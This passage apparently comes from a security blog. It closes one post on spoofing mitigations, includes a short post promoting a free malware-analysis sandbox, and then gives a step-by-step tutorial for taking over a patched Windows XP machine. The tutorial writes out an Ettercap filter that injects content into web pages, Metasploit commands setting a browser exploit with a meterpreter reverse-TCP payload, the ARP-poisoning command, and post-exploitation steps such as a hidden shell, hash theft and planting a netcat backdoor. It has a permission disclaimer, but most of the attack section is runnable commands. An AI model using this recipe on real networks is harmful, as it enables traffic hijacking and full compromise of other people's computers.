I’ve spoken to some of the mitigations of this attack above, but here’s a few more: some client security suites can recognize arpdns spoofing and prevent it, and can also disallow untrusted applications from creating sockets from the client without permission. Another means of mitigating this risk is user awareness training; explaining that users should be wary when hitting captive portals, (especially on a LAN they’ve used for sometime without seeing one and now they see one all of a sudden).

There you have it. There are many steps to this, and they all must be performed properly or the whole thing won’t work! Get out there and make the world a safer place!

Analyze Malware In The Time It Takes To Grab a Cup Of Coffee

Malware analysis is not a skill that every IT security professional has. It comes with a heavy amount of programming experience, an understanding of assembly, computer memory, debuggers and decompilers. Malware analysis can take a lot of time and skill, and is usually not done by organizations’ security staff. The staff leaves it to AV vendors and security research companies to do the analysis and make reports.

What happens when your company sees a lot of spam with zip attachments? Wouldn’t it be nice to see what these attachments do if opened; if they’re a Trojan or are making your client machines into botnet zombies? If you could analyze these files and see where they’re calling you could block these URL’s and IP’s at your perimeter, and not just rely on your spam filters or users’ judgment.

I found a pretty neat site called joebox.org. I’ll let you read more about the site’s origin and purpose, but to summarize: Joebox.org allows you to submit script and executable files to it and will send you a detailed analysis within a few minutes.

Joebox.org takes your script or executable and runs it on a vm, then sends you the processsystem calls, dll hooks, networkdns traffic generated. You can choose what OS to run your files on, and the best part is it’s FREE!

So, now when your company starts getting those spam emails with attachments you can be the hero and provide custom remediation to the threat, right after you finish your cup o’ joe!

Security Testing:Fully Patched Machine Compromise with MITM+Iframe Injection

The purpose of this post to provide an example of how to use the freely available Linux distribution Backtrack when conducting security testing; and to provide a specific example of an attack scenario with detailed instructions on the commands used with a description.

This is by no means an all encompassing tutorial for using Backtrack during securitypenetration testing.  If you do not have a basic understanding of what Backtrack is or how it is used I suggest you read some info about it here: http://www.backtrack-linux.org/about/.  This post is mainly to provide the readers with an overview of a common attack scenario, using what I consider to be the “swiss army knife” of IT security tools.  Hopefully this will inspire people to learn more about the different ways you can perform security tests, and be a catalyst for further research.

Now for the usual disclaimer:

The instructions contained below are provided for informationaleducational purposes only and should only be used on networks that you control, or have permission to utilize.  Unauthorized access to networks or computers is usually frowned upon by the network administrators, home users, and general law abiding citizens that populate this fine blue orb we call home; and while you think you won’t get caught the best bet is to NOT muck around someone else’s network EVEN if it’s an open wifi network with a name like “Linksys” or “Netgear”… had to be said, but I digress.

Most of the techniques described here have been documented separately or similarly on other websitesblog posts.  I will post a list of references at the end for further review, and to give credit where credit is due.

Let’s look at an overview of the attack scenario:

Conditions: Access to the network has already been gained by either wireless cracking, or some other access to a wired network.  The gateway IP, target’s IP and operating system have already been discovered and all three are on the same subnet.  The target is a patched Windows XP machine running SP3 and IE8.  We will use Backtrack 4 final release, and the Metasploit framework version 3 which is already installed on Backtrack.

The attack will begin with a basic MITM (man-in-the-middle) ARP poisoning attack against a single target on a network.

The network traffic, specifically the Web traffic, browsed by the target will be intercepted by our computer and an iframe will be injected into all of the web pages viewed.  This iframe will point back to our attacking computer which will be hosting a web page with a malicious payload (via the Metasploit framework).

When the target browses to most web pages our iframe will execute the malicious content hosted on our computer in their browser.  The end result will be admin access to the targets computer, via a meterpreter session.

 Section 1: Prepare Backtrack

 If you are already familiar with Backtrack you can skip this section.  This is simply the steps required for preparing Backtrack after initial live boot.

Open a terminal session and type /usr/bin/start-network  This command enables the networking on Backtrack.

Now we need to update Metasploit.  In a terminal type cd /pentest/exploit/framework3

 

This brings us to the Metasploit directory.  Type in svn update.  At the prompt type y.

This will update the Metasploit framework with the latest modules. 

Now we need to enable IP forwarding using iptables

echo 1 &gt; /proc/sys/net/ipv4/ip_forward

Lastly we’ll ensure ip forwarding is enabled in ettercap

We need to edit the etter.conf file.  However you choose to do that is up to you, I use VI.  A VI tutorial is beyond the scope of this post.  I suggest you check out the security researchers’ best friend: Google if you need help with VI.  Type Kate from a terminal for a GUI text editor or choose it from the Utilities menu. 

The file can usually be found here: /etc/etter.conf if you’re using Backtrack4 Final Release.

We need to make 3 changes in etter.conf:

ec-uid = 0

ec_guid = 0

uncomment the redir_command_on and redir_command_off sections below the “if you use iptables” section of etter.conf

  Section 2: Prepare Ettercap filter

 Ettercap is a network sniffer that can not only log packet data but can use filters to inject or replace data within the packets.  When used in a MITM attack ettercap filters can drop packets, or inject code into packets that will be forwarded to the target machine. 

Enter this data into a text file using your favorite text editor and save it as iframe.txt:

if (ip.proto == TCP && tcp.dst == 80) {

   if (search(DATA.data, "Accept-Encoding")) {

      replace("Accept-Encoding", "Accept-Rubbish!");

                  # note: replacement string is same length as original string

      msg("zapped Accept-Encoding!n");

   }

}

if (ip.proto == TCP && tcp.src == 80) {

   replace("</title>", "</title><a href="http://youripaddress">http://youripaddress</a>");

   msg("iframe Filter Ran.n");

}

The above filter will put our iframe right after the closing title tag in most web sites. 

Now from a terminal, and in the same directory where you saved iframe.txt, enter

 ettefilter iframe.txt –o iframe.ef

.

This command compiles the iframe.txt file into the actual etterrcap filter, or “ef” file.

A success message would look like this: Script encoded into 15 instructions.

Section 3: Launch Metasploit

 From the /pentest/exploit/framework3 directory launch the Metasploit console with this command: msfconsole

 You can choose your favorite browser exploit, I’m going to use: windows/browser/ms10_xxx_helpctr_xss_cmd_exec

Metasploit commands:

 
Use windows/browser/ms10_xxx_helpctr_xss_cmd_exec
Set PAYLOAD windows/meterpreter/reverse_tcp
Set LHOST youripaddress
Set SRVHOST youripaddress
Set SRVPORT 80
Exploit

Section 4: Launch Ettercap for MITM attack

 

Now that all of the different prereqs for the attack have been prepared we can launch ettercap

Enter the following command into a terminal window (replace underlined items with the correct name or ip in your environment):

ettercap –i wlan0 -F iframe.ef –TQM arp:remote targetip gatewayip -P autoadd 

The –i witch specifies interface, you only need it if you have multiple interfaces.  If you have only one you can omit. –F is specifying the filter to use.  T= text mode, Q=quiet M=MITM attack. 

You may see only one of the addresses, commonly the gateway, is added to an ettercap group.  This is not uncommon with wireless clients.  Both the gateway and target need to show up in one of the groups.  You can either wait until your target sends an arp request or you can force it to by pinging a non existent IP on your subnet from the target.  The choice is yours.  The point is that if you press the L key while in ettercap you should see both your target ip and the gateway there for the MITM to be a success.

Once ettercap is running open up IE on your target and browse somewhere, I used test.com.  You should see the “iframe filter run” message on your Backtrack box.

You should also see the exploit initiate on the Metasploit terminal.  On your victim box a message will pop up.  If you click allow button the exploit will run.

You should then see a meterpreter session initiated on your Backtrack computer (sometimes this take a bit, so be patient).

If you see a message on your Backtrack machine that says a meterpreter session has been created you can hit CTRL+C then type sessions –i 1 (that’s a number 1) to interact with the meterpreter session, assuming the session number is 1.

You’ve compromised the box!  You can now do things like drop to a command shell on the target by entering shell into meterpreter.  Or, if you want to be surreptitious you could enter

execute –F cmd.exe –i –H –c

.  there are many things you can do with a successful meterpreter session setup.  You can uploaddownload files, grab password hashes, send over a back door program like netcat, edit the registry… really whatever you want to do.

I hope you’ve found this post helpful, and will use it as fodder for more research into the kinds of things you can do with Backtrack and metasploit, and IT security in general.

Good hunting!

References

 

http://www.irongeek.com/i.php?page=security/ettercapfilter

http://www.backtrack-linux.org/

http://hi.baidu.com/artcracker/blog/item/86209ed411e1cac850da4b15.html

http://www.ethicalhacker.net/component/option,com_smf/Itemid,54/topic,5078.msg25656/topicseen,1/

http://www.irongeek.com/i.php?page=videos/deploying-metasploits-meterpreter-with-mitm-and-an-ettercap-filter

http://forum.intern0t.net/offensive-guides-information/603-arp-poisoning-mitm-attack.html